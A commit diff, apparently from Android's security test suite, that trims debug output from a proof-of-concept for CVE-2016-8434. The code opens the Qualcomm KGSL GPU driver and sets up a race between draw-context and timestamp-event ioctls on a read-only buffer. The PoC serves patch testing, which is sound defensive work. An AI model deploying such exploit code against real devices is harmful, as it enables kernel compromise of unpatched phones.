fix failures in 8434

Bug: 34508426

Change-Id: I068394260a55182530e187efaee9b3bd6cf0a707
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8434/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8434/poc.c
index de88a3b..b81ee0c 100644
--- a/hostsidetests/security/securityPatch/CVE-2016-8434/poc.c
+++ b/hostsidetests/security/securityPatch/CVE-2016-8434/poc.c
@@ -87,7 +87,6 @@
     struct kgsl_drawctxt_create ctx;
     ctx.flags = KGSL_CONTEXT_PREAMBLE | KGSL_CONTEXT_NO_GMEM_ALLOC;
     ioctl(g_fd, IOCTL_KGSL_DRAWCTXT_CREATE, &ctx);
-    printf("[*] IOCTL_KGSL_DRAWCTXT_CREATE id(%d), errno = %d\n", ctx.drawctxt_id, errno);
     g_ctx_id = ctx.drawctxt_id;
 }
 
@@ -95,38 +94,22 @@
     struct kgsl_drawctxt_destroy ctx;
     ctx.drawctxt_id = id;
     ioctl(g_fd, IOCTL_KGSL_DRAWCTXT_DESTROY, &ctx);
-    //printf("[*] IOCTL_KGSL_DRAWCTXT_DESTROY, errno = %d\n", errno);
+
 }
 
 void trigger_kgsl_timestamp_event() {
-    
-    
-    //mprotect(event.priv, 0x1000, PROT_READ);
-    
     ioctl(g_fd, IOCTL_KGSL_TIMESTAMP_EVENT, &g_event);
-    printf("[*] IOCTL_KGSL_TIMESTAMP_EVENT fd(%d), errno = %d\n", *(int*)g_event.priv, errno);
 }
 
 int open_driver() {
     char* dev_path = "/dev/kgsl-3d0";
     g_fd = open(dev_path, O_RDWR);
-    if (g_fd < 0) {
-        printf("[*] open file(%s) failed, errno=%d\n", dev_path, errno);
-    } else {
-        printf("[*] open file(%s) succ!\n", dev_path);
-    }
     return g_fd;
 }
 
 
 void setup_privi_and_affinity(int privi, unsigned long cpu_mask) {
     setpriority(PRIO_PROCESS, gettid(), privi);
-    printf("[*] setpriority(%d) errno = %d\n", privi, errno);
-
-    /* bind process to a CPU*/
-    if (sched_setaffinity(gettid(), sizeof(cpu_mask), &cpu_mask) < 0) {
-        printf("[*] sched_setaffinity(%ld) errno = %d\n", cpu_mask, errno);
-    }
 }
 
 
@@ -155,7 +138,6 @@
     g_event.priv = malloc(0x1000);
     g_event.timestamp = 0;
     mprotect(g_event.priv, 0x1000, PROT_READ);
-    //printf("[*] close fd errno = %d\n", errno);
 
     pthread_t tid;
     pthread_create(&tid, NULL, race_thread, NULL);